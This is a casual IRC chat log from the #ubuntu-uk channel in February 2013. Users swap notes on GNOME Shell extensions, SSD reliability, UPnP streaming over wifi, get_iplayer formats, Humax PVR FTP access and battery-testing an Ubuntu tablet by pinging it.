<ali1234> using the homescreen is the best way to switch apps because the icons on the home screen do not move around
<ali1234> using an application switcher is second best because the same button will always get you to it, but it is worse because the icons/previews more around
<ali1234> using a back button is the third best because at least the button is always in the same place and you can see it, even if it doesn't always take you to the same place
<ali1234> swiping edges is the worst way because you can't see that it is a function that exists, and you don't know where it will take you
<brobostigon> is it possible, that when my mums archos arnova, tries to playback upnp/dlna from my rpi, that it would cause the whole wifi to die, of the router the rpi is connected to. ?
<MartijnVdS> brobostigon: how big is the file she's trying to play?
<MartijnVdS> or you :)
<brobostigon> MartijnVdS: 300megabyte roughly.
<ali1234> yes, very possible
<brobostigon> MartijnVdS: an hours tv prog, off iplayer, via get-iplayer.
<MartijnVdS> you could tell the pi to rate-limit
<brobostigon> thing is, i do it on my nexus7, no issue at all, plays back without interrupting anything,
<ali1234> upnp is extremely unreliable, and so is wifi
<redtape-renegade> MartijnVdS:
<MartijnVdS> redtape-renegade:
<redtape-renegade> MartijnVdS: You have Spotify mail ;)
<MartijnVdS> redtape-renegade: you subscribed to the playlist? :)
<brobostigon> so the arnova seems to be doing something, my nexus7 isnt.
<redtape-renegade> Yep indedy-do :)
<MartijnVdS> brobostigon: maybe it's pre-caching the entire file.. or it's sending a "play" request for every few kilobytes separately (and the Pi doesn't stop sending the entire file every time? that would kill wifi fast)
<MartijnVdS> redtape-renegade: I've been adding a few things to the list as well
<brobostigon> MartijnVdS: even with same upnp-dlna client software being used on both devices, setup as far as i can see, exqactly as standard.
<redtape-renegade> yep .. A ten minute track I see .. looks good .. just listening to it !!
<brobostigon> MartijnVdS: let me look, see if the client end, has such config option.
<redtape-renegade> MartijnVdS: What happened to all your hair ? Errata : Egg-heads are cooool     ;)
<brobostigon> MartijnVdS: ok, i see no similer config options in the client, only thing similer, is in the file browser, in the client, it has an option to download the whole file.
<brobostigon> next thing, lets look at the server config.
<redtape-renegade> yes, lets do that ...
<redtape-renegade> Meanwhile in Galway, IRL   :: https://dl.dropbox.com/u/55128914/Attachments%20Email%20Xchat/The%20salmon_weir.JPG
<shauno> not entirely sure what I'm looking at?
<redtape-renegade> shauno: You mean The Salmon Weir ?
 * redtape-renegade thought it was famous ?
<shauno> well given the "meanwhile in .." I think I was looking for a punchline
<redtape-renegade> punchline ? .. I think fists start flying at 1am usually :)
<shauno> was just nosey because I'm in galway myself :)
<redtape-renegade> Wow .. I love Galway .. go there every year :D
 * redtape-renegade thinks we may have had this conv. before though ..
<brobostigon> would changing the port upnp/dlna broadcasts on matter ?
<bigcalm> popey: do you have ia32-libs installed?
<popey> yes
<bigcalm> That will be why Titan Attacks worked for you
<bigcalm> After installing, the game works for me
<popey> yay
<Klettbar> is there an utility who would "click" on a linck on an updated page
<Klettbar> link
<popey> wget or curl?
<Klettbar> i have an application which gives alert when page chanes
<Klettbar> changes
<Klettbar> how can i automatically click on the right link on thta page
<Klettbar> click is not the word
<Klettbar> open the linked page
<bigcalm> Wow, that game is so much fun :D
<Klettbar> what does curl do
<bigcalm> Curl is a utility for making HTTP requests
<Klettbar> let's say you have a board with jobs on it (which appear when teh page reload because in fact there are jobs)
<Klettbar> and you want to be sure to pick the job even if you are in the bathroom
<Klettbar> aplication should detetct
<Klettbar> reload of page
<Klettbar> new link
<Klettbar> and secon new link
<Klettbar> and second new link
<Klettbar> inside second page
<popey> python and beautifulsoup could do that
<Klettbar> not clear i bet
<Klettbar> do you know any premade utility on ubuntu linux
<Klettbar> or even browsers plugins
<ali1234> bug 1130388
<lubotu3> bug 1130388 in xfce4-panel (Ubuntu) "Compiz/xfce4-panel will only display windows from one application at a time." [Undecided,New] https://launchpad.net/bugs/1130388
<popey> i would do it with python and beautifulsoup
<ali1234> i would do it with greasemonkey
<shauno> I'd just take my laptop to the bathroom
<popey> always thinking outside the box there shauno
<popey> or inside the bog
<ali1234> "poopsock"
<shauno> hey, it's an option :)
<mgdm> lavtop?
<ali1234> so i'm sitting here and i can only unminimize one window at a time. what can i do to debug this??
<shauno> I mostly mention it because it sounds a lot like a problem I once tried to solve.  almost identical.  until I realised that it'd only make me feel clever until they found out I had ff acknowledging my tickets automatically, and let me go
<Klettbar> the prob is competition
<Klettbar> competitors are lightning fast
<Klettbar> or they have already solved this problem
<ali1234> it's like eve
<ali1234> "this guy is sitting there mining asteroids for 18 hours a day. it must be a bot because no one is that sad" - person who sits and mines asteroids 18 hours a day
<zleap> ok odd question does IRC predate the web on the internet
<ali1234> hmm... switched to metacity and no bug. so it's definitely compiz, not xfce
<ali1234> zleap: yes
<ali1234> but only by a couple of years
<popey> irc was ~1988
<popey> www was ~1990
<zleap> tanks
<zleap> thanks
<zleap> i am setting up an irc channel for my local rugby club
<ali1234> i am imagining a load of huge rugby players typing on tiny keyboards with their massive hands
<zleap> lol
<zleap> yeah some have big hands
<ali1234> ok switched back to compiz - now many windows won't unminimize at all
<Klettbar> maybe it could detect the screen
<Klettbar> maybe it can be done hardware on a touchscreen
<Klettbar> if i learn how to do that maybe tehn i don't need to get those jobs lightning fast
<ali1234> is this mechanical turk or something?
<Klettbar> a robot
<Klettbar> i need a robot working fro me
<Klettbar> for
<Klettbar> if you are able to solve that prob
<ali1234> my taskbar is flashing like a christmas tree because nothing will unminimize
<Klettbar> maybe i can pay you a little percent
<Klettbar> are there programmer's jobs you have to grab faster than others
<ali1234> i don't get jobs by being the first person to click on a website, so i dunno
<popey> bigcalm: titan attacks is jolly good fun. i deffo need a controller tho âº
<popey> killing my thinkpad keyboard
<Klettbar> ok let's change subjetc
<Klettbar> ssd vs. hard disk
<Klettbar> i will have to buy one soon
<Klettbar> ssd vs. hdd reliability
<directhex> depends on your usage patterns
<popey> I have 7 SSDs and currently 15 HDDs and have had no SSDs fail
<popey> but have had 3 HDDs fail
<directhex> an hdd can only survive a limited number of on/off cycles
<directhex> an ssd can only survive a limited number of write/erase cycles
<directhex> so you pays yer money you makes yer choice :D
<popey> \o/ backups
<ali1234> popey: didn't you have an ssd fail though?
<popey> no, i thought i did, but didnt
<ali1234> ok
<popey> it was the mobo
<ali1234> i have only ever had two hard drives die in 20 years
<directhex> i've had an HDD fail
<directhex> just one
<ali1234> neither was a maxtor, which is what i always used to buy
<directhex> although at my last job we had a lot of disk failures in our ibm servers
<directhex> some kind of "deskstar" drive. 60gxp series i think
<ali1234> aka deathstar
<ali1234> mm.... started up gnome-panel and it can unminimize windows just fine
<Klettbar> popey : ssd and hdd had same age
<popey> no, HDD older
<popey> but my SSDs are all in daily use. for between 1 and 2 years now.
<Klettbar> se
<Klettbar> ssd are quite
<Klettbar> quiet
<Klettbar> but
<popey> silent
<Klettbar> also sad in a way
<popey> sad?
<popey> The price has come down quite a bit
<Klettbar>  i think they woul dsuffer heat maybe more than hdd
<popey> you can get 512GB SSDs for the price I paid for a 240GB one about a year ago
<popey> not compared heat directly myself
<Klettbar> with the price of 64 gb ssd one can get 320/500 Gb hdd
<popey> yeah, i put a small SSD in my desktop and a big disk for data
<directhex> Klettbar, an SSD doesn't suffer from heat as much as a desktop
<Klettbar> i shofanless laptop
<Klettbar> those who didipate heat through the whole chassi
<Klettbar> ss
<Klettbar> should have
<directhex> a seagate barracuda has a safe operational temperature of 0-60Â°C, putting out about 8W of its own heat. an ocz vertex has an operational temperature of 0-70Â°C putting out about 2W of its own heat
<Klettbar> ok
<ali1234> does raring work properly at the moment?
<directhex> i work on the assumption that ubuntu+1 may be unusably broken up to the same day as release. i'm too old to install it before it's had a chance to be proven working
<AlanBell> ali1234: raring works great
<AlanBell> I have been using it for many weeks with no issues
<AlanBell> least breaky development release evar
 * directhex remains suspicious
<AlanBell> mostly running gnome-shell, but when I have looked at unity it hasn't been broken
<AlanBell> I am guessing unity is a bit more volatile than shell
<ali1234> directhex: that's not far from the truth. the problem is it doesn't magically start working on release day either
<ali1234> AlanBell: i will be installing gnome classic, because i've had enough of xfce being broken
<ali1234> i doubt it will have been changed in any significant way
<Klettbar> i use uberstudent
<Klettbar> it has a fast boot
<ali1234> the main problem is getting nvidia driver to work, but apparently it is ok at the moment
<AlanBell> gnome shell with https://extensions.gnome.org/extension/6/applications-menu/ is nice
<AlanBell> but generally gnome shell is quite good at letting you run applications you want to run, and switching between open windows
<ali1234> does it have a task bar?
<ali1234> can i use indicators?
<AlanBell> https://extensions.gnome.org/extension/368/taskbar-with-desktop-button-to-minimizeunminimize-/
<ali1234> can i have that task bar on every monitor, showing only the windows from that monitor?
<AlanBell> dunno, but extensions are really quite easy to write
<AlanBell> even I can do it, just javascript
<ali1234> why reinvent the wheel?
<AlanBell> it is a better framework and you can do more stuff with it, but sure, gnome-panel does that already
<ali1234> what can you do with it, that you can't do with gnome-panel?
<ali1234> can i use the same theme for the panels and for windows?
<AlanBell> the overview mode is kinda nice, super+type name of application to jump to it or launch it
<ali1234> looks like gnome extensions has the same problem that firefox extensions has
<ali1234> ie they change the api every two weeks and break all the old extensions
<AlanBell> the way it handles workspace is kind of nice, a growing vertical list
<redtape-renegade> MartijnVdS: Did you get my Spotify email ?
<AlanBell> yes, they change the API revision number and break the extensions :(
<AlanBell> even if they are not actually broken
<redtape-renegade> MartijnVdS: You can mesage on it you know ;)
<redtape-renegade> **message
<ali1234> shell is damn ugly too
<ali1234> https://extensions.gnome.org/static/extension-data/screenshots/screenshot_327_4.png
<ali1234> why does everything have glowing round edges?
<ali1234> this is not KDE
<ali1234> the speech bubble style is terrible also
<dwatkins> that's enough to make me switch to twm
<ali1234> i also like how the space for the app label is not big enough for the majority of app names
<dwatkins> ali1234: by the way, I understand the flash smurf bug is fixed, and was a result of a problem in the NVidia driver, although I can't confirm this for myself.
<ali1234> it is fixed
<AlanBell> there are extensions to remove the rounded corners
<ali1234> it was fixed in libvdpau
<dwatkins> I much prefer having a menu I can explore to see what apps are available.
<ali1234> they added a special case for flash. when detected, it reverses the red and blue channels in the video
<AlanBell> I like the rounded corners and menus as speech bubbles though
<dwatkins> ali1234: fixed in libvdpau, or worked around?
<ali1234> worked around, yes
<dwatkins> ah I see, fair enough
<ali1234> AlanBell: can extensions remove stuff that's already there?
<AlanBell> yes
<ali1234> can i make an extension that removes everything and starts over from scratch?
<AlanBell> to my great sadness the #1 extension is the one that removes the accessibility indicator
<ali1234> can i remove the whole panel?
<ali1234> and also disable hot corners?
<AlanBell> probably, and certainly the hot corner
<ali1234> can i then draw my own panel that uses gtk widgets?
<AlanBell> https://extensions.gnome.org/extension/3/bottom-panel/ is adding a panel
<AlanBell> might be code in that to get a handle to a panel and remove it
<ali1234> it's still black though
<AlanBell> it works though
<AlanBell> https://extensions.gnome.org/extension/118/no-topleft-hot-corner/ turns off the hot corner
<AlanBell> the bottom panel thing needs to know about multi monitors a bit better
<ali1234> when i tried gnome panel it did not make any attempt to manage multiple monitors at all
<ali1234> you could drag a window onto another monitor. and then it owuld just stay there forever
<AlanBell> https://extensions.gnome.org/extension/323/multiple-monitor-panels/
<ali1234> seems like i would have to run an awful lot of javascript code that has had very little testing and code review
<AlanBell> it does get tested and reviewed
<AlanBell> my extension was reviewed
<AlanBell> "very little" is probably still accurate
<ali1234> http://art.gnome.org/themes
<AlanBell> one thing I want to do is implement the HUD, but that means getting dbusmenu working
<ali1234> where do they keep shell themes?
<AlanBell> dunno
<ali1234> http://1.bp.blogspot.com/-bK-68lM5VEo/TnOM_K1afrI/AAAAAAAAChI/x1ivWEk9ol0/s1600/gnome_shell_theme_elementary_luna_by_half_left.jpg
<AlanBell> one thing I want to do is implement the HUD, but that means getting dbusmenu working and all the applications won't use it because of the wrong desktop environment
<ali1234> that one looks quite nice
<ali1234> can i have the sidebar thing on the top panel instead?
<ali1234> and why do notifications come up from the bottom left?
<ali1234> they have a speech bubble/arrow thing, but it doesn't point anywhere
<AlanBell> notifcations come up from the bottom middle on mine
<ali1234> ok. same question
<AlanBell> if you hold the mouse down at the bottom you get a popup panel thing
<ali1234> what for?
<AlanBell> with a kind of history of notifications that you can dismiss or click on
<ali1234> a hot edge?
<AlanBell> and that is where stuff like skype and dropbox tray icons go
<ali1234> i'd need to disabe that too
<ali1234> and put those icons on the top panel
<AlanBell> yup
<ali1234> how easy is it to do this stuff?
<AlanBell> https://extensions.gnome.org/extension/495/topicons/
<AlanBell> easy peasy
<ali1234> can you just do clock.delete(); clock.add(topright);
<ali1234> or do you have to rewrite the entire clock functionality in order to get it to appear somewhere else?
<AlanBell> http://paste.ubuntu.com/1685163/ that is the topicon extension
<ali1234> is that extension multimonitor compatible?
<AlanBell> erm, I am using it with two monitors
<AlanBell> it put the tray icons on the right monitor
<ali1234> that looks a lot like it reimplements the message box thing
<AlanBell> dunno how that interacts with the other extensions I have installed
<ali1234> yeah i need it to put them on every monitor
<ali1234> i guess that will never be possible with the tray api though
<ali1234> i am going to install gnome shell and try it, instead of installing raring
<ali1234> then if it sucks i'll just delete it and install raring
<AlanBell> cool
<AlanBell> the extension site is great, when you are running shell you just get a switch on each page to automatically download, install, activate the extension
<ali1234> do i install "gnome"
<AlanBell> they go in ~.local/share/gnome-shell/extensions
<ali1234> and that's everything?
<ali1234> do you have to run gnome web browser for that to work?
<AlanBell> just install gnome-shell I think
<AlanBell> no, it works in chromium and firefox
<ali1234> that doesn't install very much of anything
<ali1234> remember i am using xfce...
<AlanBell> ah
<ali1234> xubuntu specifically
<ali1234> i went for gnome anyway
<popey> heh, steam showed 108 games for linux at 14:00 today, now it's 112..
<ali1234> still waiting for arma 2
<popey> right, my nexus 7 running ubuntu phone OS is at 100% charge.. will unplug it at 00:00 and turn off the screen to see how long the battery lasts
<popey> (it boots faster than Android)
<ali1234> are you gonna stay up until 4am?
<popey> haha
<AlanBell> so, does it rotate?
<ubuntubhoy> lol
<ali1234> linux killed battery on my htc wizard
<ali1234> at least it had replaceable battery
#ubuntu-uk 2013-02-20
<popey> the back comes off these really easily
<ali1234> yeah i know
<ali1234> it doesn't go back on properly though
<ali1234> mine creaks now
<popey> yeah, mine needed a bit of coaching
<popey> right, it's unplugged and screen off
<ali1234> how will you know when battery is flat seriously?
<ubuntubhoy> warning beep ?
<ali1234> what if it lasts 2 days 4 hour
<ali1234> reight then, switching to gnome shell
<AlanBell> \o/
<ali1234> well great
<ali1234> font dpi is messed up
<ali1234> everything is 1 pixel wide
<ali1234> where is settings?
<ali1234> how am i supposed to check for new messages in pidgin?
<ali1234> i have to click activities every time, and then look at the bottom right?
<ubuntubhoy> you still get notifications
<ali1234> but they disappear
<popey> ali1234: ping it periodically and record the time
<ali1234> how do you get windows back after you minimze them?
<ali1234> popey: ah, clever
<ali1234> popey: but that will use battery ...
<popey> it will
<popey> wont do it often
<ali1234> wifi is biggest drain after screen
<popey> and no more than android would do, checking in for updates
<popey> less
<ali1234> and if it goes to sleep properly, wifi will stop working
<ali1234> at least it does on android
<popey> yeah, it hasn't yet âº
<ali1234> because you are pinging it
<ali1234> i used to do this with n900
<ali1234> it would change IP
<ali1234> when wifi slept
<popey> I'm not pinging it yet
<ali1234> so i left it pinging
<ali1234> you might have to run ping on the tablet and then record it on PC
<ali1234> like once an hour or somethig
<ali1234> gome shell is confusing
<ali1234> i minimized firefox and now i can't find it
<ali1234> i can't find the setting for font hinting
<ali1234> every time a window goes behind another window i can't get it back
<ali1234> this is like unity except a million times worse :(
<ali1234> ah, gnome tweak tool to fix hinting
<ubuntubhoy> do you have the sidebar enabled ?
<ali1234> what sidebar?
<ubuntubhoy> if so restore from there
<ali1234> what is sidebar?
<ubuntubhoy> you can have a dock like sidebar
<ali1234> how would i know if i had it enabled?
<ali1234> there is a sidebar type thing in activities
<ubuntubhoy> push your mouse t the middle right
<ali1234> if i click on firefox on it, it just opens a new window
<ubuntubhoy> not that one
<ali1234> nothing happens
<ubuntubhoy> not enabled then
<ubuntubhoy> enable it in tweak tool
<ubuntubhoy> also minimising windows is not really the Shell way
<ali1234> ok enabled it
<ali1234> it doesn't work
<ubuntubhoy> dynamically expanding desktop
<ali1234> it only shows one firefox window
<ubuntubhoy> you have both opened on the same workspace
<ali1234> what do you mean both?
<ali1234> i had about 4 firefox windows open, then i minimized them all
<ali1234> now they are gone
<ali1234> the sidebar only reveals the last one i minimized
<ubuntubhoy> you should see all your windows in the activity view
<ali1234> no, the minimized ones are just gone
 * AlanBell wonders how to minimise a window
<ali1234> right click on the title bar and then clik minimize
<AlanBell> ah, thats how
<ali1234> how do i open more than one firefox window at the same time?
<ali1234> this is awful
<ali1234> i really can't emphasize enough how bad this is
<AlanBell> hehe
<ali1234> this is like unity when it was released
<AlanBell> so, I minimised some chromium windows, they still appear in the alt-tab list
<ali1234> aaaaa
<ali1234> so that's how you get them back
<ali1234> i do not use alt-tab
<AlanBell> alt+key above tab is actually useful, does the same as on unity
<AlanBell> switches between windows of one application
<ali1234> it never even occured to me that i would have to push a keyboard shortcut to unminimize windows
<ali1234> what is this, 1987?
<AlanBell> the alt-tab switcher is also grouped by application
<popey> can you not raise them by clicking on them?
<popey> at all?
<ali1234> how can you click on a minimized window?
<popey> oh
<popey> fun
<AlanBell> there might be another way, I don't really minimise windows
<ali1234> when you minimize a window on gnome shell it totally disappears from every sidebar, panel, and "spread" view
<ali1234> except for alt tab
<AlanBell> they are in spread mode for me
<AlanBell> minimise geany, go to top left corner, zooms out, there it is, click to restore
<ali1234> ok, what extensions should i install?
<ali1234> ideally i would like to kill the activity view entirely
<ubuntubhoy> why ?
<ali1234> because it's totally crap?
<ubuntubhoy>  not really
<AlanBell> first one you should install is of course https://extensions.gnome.org/extension/564/amazon-shopping/
<ubuntubhoy> lol
<ali1234> NO
<ali1234> there is a remove activity extension but it 404s
<ali1234> https://extensions.gnome.org/extension/100/remove-activies/
<AlanBell> https://extensions.gnome.org/extension/495/topicons/
<AlanBell> try topicons
<ali1234> it works
<AlanBell> alt+f2 and run lg
<AlanBell> that is the looking glass thing
<ali1234> that's nice. how do i remove it?
<AlanBell> esc to get rid of it
<AlanBell> that is a javascript console for shell extension poking
<AlanBell> alt+f2 and r to reload shell
<AlanBell> https://extensions.gnome.org/extension/6/applications-menu/ is kinda nice if you like that sort of thing
<ali1234> is it supposed to look like that or is it buggy?
<AlanBell> it is supposed to look like that, all in one column rather than cascading out to the right
<ali1234> is this some kind of elaborate joke?
<ali1234> gnome developers = master trolls
<AlanBell> it is a bit odd, but it is better than the unity apps lens
<ali1234>  it's terrible
<AlanBell> I refer you to my previous comment
<ali1234> is there an extension that lets me put shortcuts on the top panel, instead of hiding them in activities?
<ali1234> how am i supposed to search for extensions?
<ubuntubhoy> google
<ali1234> just type in "an extension that lets me put shortcuts on the top panel"
<AlanBell> https://extensions.gnome.org/ in the search box, top right
<ali1234> https://extensions.gnome.org/extension/472/apps-on-top/
<ali1234> that's what i found
<ali1234> does not do what i want at all
<ali1234> the search results appear to be totally irrelevant for every possible search
<ali1234> what is the thing on the left of activities actually called anyway?
<ali1234> why are the icons in the top right really far apart?
<AlanBell> search results are not great
<AlanBell> I think the thing on the left of activities is the dock
<ali1234> no apparently its called the dash
<AlanBell> some of the extensions have a settings page that lets you tweak their parameters, there is a dash to dock extension that does some stuff with the dock thing
<ali1234> https://extensions.gnome.org/extension/307/dash-to-dock/
<AlanBell> thats the one
<ali1234> install that and gnome shell becomes only as bad as unity :)
<AlanBell> https://extensions.gnome.org/extension/355/status-area-horizontal-spacing/
<ali1234> much better
<AlanBell> there is an extension for most things
<ali1234> i still cant find one that puts launchers on top panel
<ali1234> or one that kills activities
<AlanBell> https://extensions.gnome.org/extension/358/activities-configurator/ perhaps
<AlanBell> yeah
<AlanBell> https://extensions.gnome.org/local/ are all your extensions
<ali1234> i have about 30 extensions installed and this thing still sucks
<ali1234> 9 of them are turned on
<ali1234> top icons doesn't kill the bottom hot edge
<ali1234> now the icons have turned into white rectangles for no reason
<AlanBell> https://extensions.gnome.org/extension/16/auto-move-windows/ is quite sweet
<AlanBell> I have https://extensions.gnome.org/extension/5/alternative-status-menu/ installed too
<ali1234> that ne comes by default on ubuntu
<ali1234> https://extensions.gnome.org/extension/4/panel-favorites/
<AlanBell> gosh my sisters birthday
<AlanBell> how do I write on someones wall on facebook?
<AlanBell> I have no idea how people figure out how to use facebook and find desktop software applications confusing
<AlanBell> argh
<ali1234> i found an extension that changes the top panel colour
<ali1234> unfortunately it only changes the background colour, not the text colour
<ali1234> and it doesn't do anything for the bottom panel
<AlanBell> maybe she has blocked people from writing on her wall thing
<ali1234> i have
<ali1234> well this sucks
<ali1234> i loaded an extension that "removes activities button"
<ali1234> then i loaded an extension that "replaces activities with an application menu"
<ali1234> then gnome shell completely froze
<ali1234> then i killed it
<ali1234> now all my extensions have been reset to defaults
<AlanBell> oh :(
<ali1234> yeah i don't think i'll be using this any time soon
<AlanBell> fair enough
<ali1234> every single application enu has that same "single column" thing going on
<ali1234> is it even possible to make proper menus with this?
<AlanBell> yeah, menus are a bit odd
<AlanBell> dunno, I got used to them
<ali1234> this one actually isn't that bad
<ali1234> i've noticed a pattern: all the good extensions are made by this frippery dude
<AlanBell> I have several of them, yes
<AlanBell> rmyorston
<AlanBell> https://extensions.gnome.org/accounts/profile/rmyorston
<ali1234> hmm
<ali1234> well when i turn off the "remove activities" thing and run the "replace activities thing" then the activities menu comes back after some time
<ali1234> seems like potential for conflicts between extensions is extremely high
<AlanBell> if they are removing things, yes
<ali1234> thing is, another extension can come along and put it back
<ali1234> unintentionally
<AlanBell> because extensions that add a something next to a something else won't have their reference point
<AlanBell> I don't know what the loading order is either
<ali1234> so can i just hack on any of these extensions?
<AlanBell> sure, hack away
<ali1234> where are they again?
<AlanBell> they go in ~.local/share/gnome-shell/extensions
<ali1234> how do i "reload"
<AlanBell> alt+f2 r
<AlanBell> and https://live.gnome.org/GnomeShell/Development has some stuff worth looking at
<AlanBell> night o/
<ali1234> crashed again
<ali1234> found a theme that looks semi decent
<ali1234> it has versions for 3.2 and 3.4
<ali1234> i have 3.6
<ali1234> theme doesn't work
<ali1234> https://bugzilla.gnome.org/show_bug.cgi?id=694235
<ali1234> now back on panel
<ali1234> it's still the best
<lubotu3> Gnome bug 694235 in general "Extensions do not obey the shell theme." [Normal,Unconfirmed]
<czajkowski> aloha
<AlanBell> morning
<brobostigon> morn9ng AlanBell
<popey> \o/ ~9 hours and the tablet is still running
<ali1234> not bad
<ali1234> is the image release going to follow usual release schedule of getting released at a random time that nobody knows in advance whenever the release manager wakes up?
<JamesTait> Good morning all! :)
<daubers> o/
<AlanBell> ali1234: I am looking forward to the big 24 hour countdown starting and all the media speculation about what the code will look like
<jpds> AlanBell: C++?
<AlanBell> doubt it
<MartijnVdS> [er;
<AlanBell> javascript and QML for the new bits
<MartijnVdS> blah
<MartijnVdS> Perl
<jpds> Haskell.
<AlanBell> cobol
<JamesTait> Butterfly wings and the sun's rays.
 * JamesTait picks up on the five-minute-old specualtion.
<popey> ali1234: yes and no
<ali1234> popey: yes and no?
<popey> well, you imply we don't usually know when it's going to be released because it's some random time
<ali1234> no, i imply that only one person knows when it is going to be released
<popey> no, only one person has responsibility for making the release finally happen, the go/no-go
<popey> sometimes there is a defined time
<ali1234> yes. so everyone else in the world is waiting for that person to press yes/no
<popey> and its not just the release manager who knows
<ali1234> which they could do at any time
<ali1234> only they know when they will do it
<popey> based on a set of tasks they need to do
<ali1234> so, if those tasks take longer or shorter, then even they don't know
<ali1234> so in that case nobody knows
<popey> yup
<ali1234> for example "get out of bed"
<popey> they tend not to sleep a lot on release week
<ali1234> i was not implying that you pick a random time weeks in advance and then KEEP IT TOTALLY SECRET
<ali1234> in fact quite the opposite
<mungbean> guys, i'm thinking of getting a cheap dvd player from samsung as my existing one is broken. this one lets you also play .avi files in mp4 format via usb - does get_iplayer allow you to grab in this format without faffing around?
<popey> mungbean: does it mention codecs?
<mungbean> popey: The MPEG4 audio and video data compatible with this player are contained in AVI files. This unit
<mungbean> can only play AVI format files with an â.aviâ extension.
<mungbean> uThe DVD-E360 can support the following resolutions: Up to 720 x 480 @ 30 frames per second and 720 x
<mungbean> 576 @ 25 frames per second.
<mungbean> thats all they say
<popey> it can do mpeg2/4 and DivX
<popey> http://www.samsung.com/sg/consumer/tv-audio-video/dvd-recorder-player/dvd-player/DVD-E360/XS-spec
<popey> you can convert using ffmpeg, but that falls into "faffing around"
<popey> by default get_iplayer grabs the stuff from BBC as h.264 I believe
<mungbean> still might be worth a punt
<mungbean> 29.99 in tesco
<mungbean> ffmpeg seems to be increasingly crap on ubuntu
<mungbean> need to compile yourself to get mp3 support etc
<popey> nope
<popey> there's a simple apt-get to make that work
<popey>     Stream #0.0(und): Video: h264 (Main), yuv420p, 832x468 [PAR 117:117 DAR 16:9], 1401 kb/s, 25 fps, 25 tbr, 1k tbn, 50 tbc
<popey> thats something I grabbed from get_iplayer
<popey> -rwxrwxrwx 1 alan alan 631650896 Dec 31  2010 Doctor_Who_Confidential_-_Christmas_Special_2010_b00wyhsz_default.mp4
<popey> a while back
<mungbean> so that looks like re-encode required
<popey> yes, for existing media
<popey> for stuff you download, get_iplayer has an option to spawn ffmpeg I believe
<popey> so it can do it on the fly immediately after downloading has finished
<popey> handy if you run get_iplayer as a cron job
<mungbean> yep
<mungbean> i have a mac mini under the telly, but i can't connect it to the telly
<mungbean> cos i'm still old skool
<mungbean> scart only
<mungbean> its replacing a philips dvd/rw that has been awful
<mungbean> hoped to use it for archiving but its so tedious to use. and now the drawer has broken
<popey> archiving? stuff off get_iplayer?
<popey> I have a friend who archives everything he records (pretty much) onto optical media
<popey> but he records off FTA
<mungbean> archiving off the tv box
<mungbean> i have a topfield PVR
<mungbean> however it has a usb port too (feels like usb1.1), for copying stuff off it.
<mungbean> used to have a digifusion pvr with no usb port, hence the dvd/rw for backup purposes
<popey> ah yeah, I had a Humax PVR which has a USB port, was painful so I never used it
<neuro> i've still not figured out how to ftp SD stuff off my humax hdr-t2
<neuro> like in an automated way, i mean
<mungbean> humax runs linux i believe
<mungbean> once i upgaded my toipfield software and was rather unstable, leading to deleted library, so i downgraded, but have become nervous since
<mungbean> what version of python is recommended for learning now? (esp rasp pi owners) 2.x or 3.x?
<bigcalm> Good morning peeps :)
<mungbean> i remember there was a bit of backlash over 3.x due to non backward compatibility. i assume 3.x is the way to go though
<neuro> mungbean: yeah, the hdr t2 does run linux iirc
<neuro> but i'm not sure how ftp is implemented
<neuro> lovely little errors when you connect, for example ...
<neuro> hornet-wifi:~ neuro$ ftp pvr2.gla0.uk.geekha.us
<neuro> Connected to pvr2.gla0.uk.geekha.us.
<neuro> 220 Welcome to connection.
<neuro> 500 Syntax error, command unrecognized.
<neuro> Name (pvr2.gla0.uk.geekha.us:neuro):
<neuro> i mean come on, syntax errors?
<mungbean> that means unsupported feature requested e.g. REST
<neuro> hmm, good point
<neuro> if only the HD stuff wasn't encrypted ... :P
<neuro> it completely falls over when you use ncftp
<jpds> neuro: https://fbcdn-sphotos-g-a.akamaihd.net/hphotos-ak-ash3/525018_481040071944876_1233300931_n.jpg
<neuro> ba da dum tsh
<neuro> you've just reminded me of a german guy i play battlefield 3 with on the xbox
<neuro> he would occasionally sing "if you're happy and you know it, say hooray"
<mungbean> my one works in a weird usb attach mode that you need a special client to connect with
<popey> http://www.kicktraq.com/projects/1351910088/3doodler-the-worlds-first-3d-printing-pen/
<popey> golly, climbing fast
<neuro> then he'd say "hooray!" in a daft wee kiddy voice
<popey> that was 50K yesterday, now it's ~500K
<neuro> mungbean: yeah, sounds like the old humaxes
<popey> friend of mine made a linux client for the humax
<popey> which is more reliable than the one humax shipped
<mungbean> popey: is it real?
<mungbean> seems to be ..
<mungbean> i want one of these pens
<ali1234> all humax stuff runs linux
<ali1234> the HD recordings aren't actually encrypted, they just have the "do not copy" bit set
<popey> the old Humax ones aren't Linux
<popey> 9200T etc
<ali1234> all the freesat and freesat+ ones are
<popey> yeah
<mungbean> "all humax stuff runs linux, except for the ones that don't"
<mungbean> life is simpler without hdmi or HD
<ali1234> all the currently available ones
<mungbean> without HD telly, your recording all look nice
<mungbean> my CRT telly has a nice picture when there's nothing to compare against.
<mungbean> and DVDs look good on it
<neuro> DVDs look good on my TV too
<neuro> then again, i have what amounts to a 600 quid upscaler
<neuro> (mac mini)
<mungbean> neuro: how is the mac mini connected to the telly?
<neuro> hdmi, audio goes via optical to my surround amp
<mungbean> not sure if i can connect mine to my crt telly via composite
<neuro> there are plenty of vga<->composite converters out there
<neuro> or vga<->scart
<mungbean> i think there's some issue with teh DVI signal it sends
<bigcalm> VGA -> VHF -> TV tuner :D
<neuro> here's one: http://www.amazon.co.uk/Hama-SCART-To-VGA-cable/dp/B0002W69MY
<neuro> (ignore the low star reviews, they are from crazy people who thought they could use it to connect SCART devices to a VGA monitor)
<neuro> wait
<neuro> DVI?
<neuro> how old is your mac mini?
<neuro> ppc or intel core/c2d?
<mungbean> ppc
<neuro> oof
<neuro> doubt you'd be able to play back anything other than SD with that
<mungbean> i inherited it. its the only way apple kit comes into my house :D
<mungbean> my telly is SD though
<neuro> tch, good point :)
 * neuro slaps head
<neuro> so hdmi > vga > scart
<mungbean> no hdmi i don't think
<neuro> sorry
<neuro> dvi > vga > scart
<neuro> although a problem i note from that cable i linked to on amazon is no audio
 * AlanBell wonders if popey's tablet is still pingable
<mungbean> think i'll just not bother tbh
<mungbean> and just use it as a get_iplayer archive
<mungbean> and copy them to usb drive for watching
<neuro> lol
<popey> 64 bytes from 192.168.1.110: icmp_req=1 ttl=64 time=70.6 ms
<popey> yup
<popey> still going
<neuro> whatever works for you i guess
<neuro> popey: tablet?
<AlanBell> yay
<mungbean> i have a gadmei box already for watching my old pvr on a LCD monitor
<popey> neuro: nexus 7 running ubuntu tablet os
<neuro> saucy
<mungbean> video?
<popey> been pinging it all night since midnight
<popey> to see when it dies
<neuro> 70ms is a bit odd though
<neuro> 802.11g?
<popey> it might be on the other access point
